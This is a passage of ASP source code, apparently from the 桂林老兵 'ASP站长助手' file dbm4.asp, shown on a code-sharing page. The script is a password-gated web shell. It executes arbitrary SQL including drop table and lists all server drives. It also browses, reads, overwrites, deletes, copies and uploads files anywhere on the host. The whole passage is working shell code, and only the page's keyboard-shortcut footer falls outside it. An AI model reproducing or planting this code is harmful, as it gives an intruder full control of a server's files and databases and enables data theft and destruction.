📄 dbm4.asp
字号:
</tr>
</form>
<tr align="center" id="cyyj" style="display:none">
<td colspan="2"><input name="select" type="button" onClick="form1.sqlstr.value=this.value" value="select * from">
<input name="insert" type="button" onClick="form1.sqlstr.value=this.value" value="insert into">
<input name="delete" type="button" onClick="form1.sqlstr.value=this.value" value="delete from">
<input name="create" type="button" onClick="form1.sqlstr.value=this.value" value="create table">
<br>
<input name="update" type="button" onClick="form1.sqlstr.value=this.value" value="update">
<input name="alter" type="button" onClick="form1.sqlstr.value=this.value" value="alter table">
<input name="drop" type="button" onClick="form1.sqlstr.value=this.value" value="drop table">
<input name="where" type="button" onClick="form1.sqlstr.value+=' '+this.value" value="where">
<input name="order" type="button" onClick="form1.sqlstr.value+=' '+this.value" value="order by">
</td>
</tr>
</table>
<%
Conntting(dbp)
response.write"<br>"
showtable()
response.write"<br><br>"
if session("sqlstr")<>"" then
if LCase(left(session("sqlstr"),6))="select" then
response.write "执行语句："&session("sqlstr")
set rs=server.createobject("adodb.recordset")
rs.open session("sqlstr"),conn,1,1
errorinfo()
shownum=rs.fields.count
rs.pagesize=20
count=rs.pagesize
page=request.querystring("page")
if page<>"" then page=clng(page)
if page="" or page=0 then page=1
pgnm=rs.pagecount
if page>pgnm then page=pgnm
if page>1 then rs.absolutepage=page
response.write"<table><tr height=25 bgcolor=#cccccc><td></td>"
for n=0 to shownum-1
set fld=rs.fields.item(n)
response.write"<td align='center' title='字段类型："&fld.type&"'>"&fld.name&"</td>"
next
set fld=nothing
response.write"</tr>"
do while not (rs.eof or rs.bof) and count>0
count=count-1
bgcolor="#efefef"
response.write"<tr><td bgcolor=#cccccc><font face='wingdings'>x</font></td>"
for i=0 to shownum
if bgcolor="#efefef" then
bgcolor="#f5f5f5"
else
bgcolor="#efefef"
end if
response.write"<td bgcolor="&bgcolor&">"&left(rs(i),50)&"</td>"
next
response.write"</tr>"
rs.movenext
loop
response.write"<tr><td colspan="&shownum+1&" align=center>记录数："&rs.recordcount&" 页码："&page&"/"&pgnm
if pgnm>1 then
response.write" <a href=?page=1>首页</a> <a href=?page="&page-1&">上一页</a>"
response.write" <a href=?page="&page+1&">下一页</a> <a href=?page="&pgnm&">尾页</a>"
end if
response.write"</td></tr></table>"
rs.close
set rs=nothing
else
conn.execute(session("sqlstr"))
response.write "执行语句："&session("sqlstr")
errorinfo()
end if
end if
sub errorinfo()
If Err Then
Response.Write "<font color=#ff0000>操作失败，原因：" & Err.Description & "</font><BR>"
if left(session("sqlstr"),6)="select" then
rs.close
set rs=nothing
end if
conn.close
set conn=nothing
Err.Clear
Response.Flush
Else
Response.Write "<font color=#0000ff>操作成功</font><BR>"
Response.Flush
End If
end sub
sub showtable()
set rs=Conn.openSchema(20)
response.write"<table><tr height=25 bgcolor=#cccccc><td>表<br>名</td>"
rs.movefirst
do while not rs.eof
if rs("TABLE_TYPE")="TABLE" then
response.write"<td align=center><a href='?sqlstr=drop table "&rs("TABLE_NAME")&"' title='删除"&rs("TABLE_NAME")&"数据表'>删</a><br><br>"
response.write"<a href='?sqlstr=select * from "&rs("TABLE_NAME")&" order by 1 desc' title='显示"&rs("TABLE_NAME")&"数据表的内容'>"&rs("TABLE_NAME")&"</a></td>"
end if
rs.movenext
Loop
response.write"</tr></table>"
set rs=nothing
end sub
conn.close
set conn=nothing
copyright()
Sub Conntting(dbp)
Set Conn = Server.CreateObject("ADODB.Connection")
if instr(LCase(dbp),"sql server")>0 or instr(LCase(dbp),"dsn=")>0 then
ConnStr=dbp
else
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source ="&dbp
end if
Conn.Open ConnStr
If Err Then
Err.Clear
conn.close
Set Conn = Nothing
Response.Write "请确认您输入的数据库地址是否正确。"
Response.End
End If
End Sub
sub searchpath()
response.write"<body bgcolor='menu' style='border:0' topmargin='0'>"
set f=server.createobject("scripting.filesystemobject")
For Each thing in f.Drives
Response.write "<a href='"&url&"?showpath=yes&path="&thing.DriveLetter&":'>"&thing.DriveLetter&"盘:</a> "
NEXT
path=request("path")
if path<>"" then
if instr(path,":")>0 then
path=path
else
path=Server.MapPath(path)
end if
else
path=server.mappath("/")
end if
opath=request("opath")
response.write "<br>当前路径："&path
set fold=f.getfolder(path)
response.write"<br><table width='98%'>"
response.write "<tr height=18><td><font face='wingdings' color='#003366'>0</font> <a href='"&url&"?showpath=yes&path="&opath&"'>回上级目录</a> <a href='javascript:show("""&filename&"?upfile=yes"",""upfile"",400,180)'>上传文件</a><br></td></tr>"
for each item in fold.subfolders
jpath=replace(path,"\","\\")
response.write "<tr height=18><td><font face='wingdings' color='#003366'>0</font> <a href='"&url&"?showpath=yes&path="&path&"\"&item.name&"&opath="&path&"'>"&item.name&"</a>"
response.write" <a href='javascript:show("""&filename&"?deldirpath="&jpath&"\\"&item.name&""",""deldirform"",200,180)' style='color:#cccccc' onclick='return yesok()'>删除目录</a></td></tr>"
next
for each item in fold.files
fpath=replace(path&"\"&item.name,"\","\\")
response.write "<tr height=18><td><font face='wingdings' color='#ff0000'>2</font> <a href=# onclick='opener.form1.dbsourcepath.value="""&jpath&"\\"&item.name&""";window.close()' title='修改时间:"&item.DateLastModified&"文件大小:"&clng(item.size/1024)&"k'>"&item.name&"</a> "
aaa=split(item.name,".")
if LCase(aaa(1))="txt" or LCase(aaa(1))="htm" or LCase(aaa(1))="asa" or LCase(aaa(1))="html" or LCase(aaa(1))="shtml" or LCase(aaa(1))="asp"or LCase(aaa(1))="inc" then
response.write"<a href='javascript:show("""&filename&"?editpath="&fpath&""",""editform"",600,500)' style='color:#666666'>编辑</a> "
end if
response.write"<a href='javascript:show("""&filename&"?delpath="&fpath&""",""delform"",200,180)' style='color:#ff0000' onclick='return yesok()'>删除</a> "
response.write"<a href='javascript:show("""&filename&"?copypath="&fpath&""",""copyform"",300,180)' style='color:#666666'>复制</a></td></tr>"
next
response.write "<tr height=18><td><br><br><font face='wingdings' color='#003366'>0</font> <a href='"&filename&"?showpath=yes&path=/'>返回站点根目录</a></td></tr>"
response.write"</table></body></center>"
set fold=nothing
set f=nothing
end sub
sub copyfile(sfile)
if request.form("mbfilepath")<>"" then
set f=server.createobject("scripting.filesystemobject")
mbfilepath=request.form("mbfilepath")
if instr(mbfilepath,":")>0 then
if right(mbfilepath,1)<>"\" then mbfilepath=mbfilepath&"\"
else
mbfilepath=Server.MapPath(mbfilepath)
if right(mbfilepath,1)<>"/" then mbfilepath=mbfilepath&"\"
end if
f.copyfile sfile,mbfilepath
response.write"复制成功"
response.end
else
response.write"<form method='post' action='"&filename&"?copypath="&sfile&"'>"
response.write"从"&sfile&"<br>"
response.write"复制到：<input name='mbfilepath'>"
response.write"<input type='submit' value='开始复制'>"
response.write"</form>"
end if
end sub
sub edittxtfile(tpath)
response.write"<body bgcolor='menu' style='border:0' topmargin='0'>"
set f=server.createobject("scripting.filesystemobject")
set txtfile=f.opentextfile(tpath, 1, False)
counter=0
txtcontent=txtfile.readall
txtfile.close
response.write"<table width='98%'><tr><td align=center bgcolor=#efefef><br>"
response.write"<form action="&filename&" method='post' name='editform'>文件路径："
response.write"<input name='textpath' value="&tpath&" size=60><br>"
response.write"<textarea name=content cols=80 rows=28>"&txtcontent&"</textarea><br>"
response.write"<br><input name='reset' type='reset' value='重置'> <input name='submit' type='submit' value='修改'></form>"
response.write"</td></tr></table></body></center>"
set f=nothing
end sub
sub modifyfile(mpath)
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(mpath)
outfile.WriteLine Request.form("content")
outfile.close
set fs=nothing
Response.write "<center>修改成功！1秒钟后自动关闭此页!</center>"
response.write"<script>opener.window.location.reload()</script>"
response.write"<meta http-equiv='refresh' content='2;URL=javascript:window.close()'>"
end sub
sub deletefile(dfpath)
Set fs = CreateObject("Scripting.FileSystemObject")
fs.deletefile dfpath
set fs=nothing
Response.write "<center>删除成功！程序将自动刷新上一页！</center>"
response.write"<script>opener.window.location.reload()</script>"
response.write"<meta http-equiv='refresh' content='2;URL=javascript:window.close()'>"
end sub
sub deletedir(dirpath)
Set f = CreateObject("Scripting.FileSystemObject")
if f.folderexists(dirpath) then
f.deletefolder dirpath
set f=nothing
end if
Response.write "<center>目录"&dirpath&"<br>删除成功！程序将自动刷新上一页！</center>"
response.write"<script>opener.window.location.reload()</script>"
response.write"<meta http-equiv='refresh' content='2;URL=javascript:window.close()'>"
end sub
sub loginform()
response.write"<br><br>欢迎使用ASP站长助手<br><br><form action='"&filename&"' method='post' name='lform'>需要密码：<input name='loginpass' type='password' size='15'> <input type='submit' value='登录'></form>"
end sub
sub logincheck(upass)
if upass=userpass then
session("xl")=userpass
response.redirect repage
else
response.write"验证未通过！"
end if
end sub
sub logout()
session("xl")=""
response.redirect filename
end sub
sub showerr()
If Err Then
Response.Write Err.Description
Err.Clear
Response.Flush
End If
end sub
sub upfile()
%>
<table width="347" height="58" border="0" cellpadding="0" cellspacing="0" >
<form name="form11" method="post" action="<%=filename%>?up=yes">
<tr align="center" valign="middle">
<td height="30">上传路径：<font color="#FFFFFF">
<input name="filepath" value="/" size="30">
</font></td>
</tr>
<tr align="center" valign="middle">
<td height="28"><input name="file1" type="file" size="25">
<input type="submit" name="Submit" value=" 上传"></td>
</tr>
</form>
</table>
<%
end sub
Sub copyright()
response.write"<hr><center>"&proname&" 版权所有 <a href=http://www.gxgl.com>桂林老兵站</a><br><br><img src='http://www.gxgl.com/logo.gif'><br>"
response.write"<br>gxgl.com gxgl.net vips.cn</center><br><br><a href="&filename&"?logout=yes>退出登录</a>"
End Sub
%>
</body>
</center>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -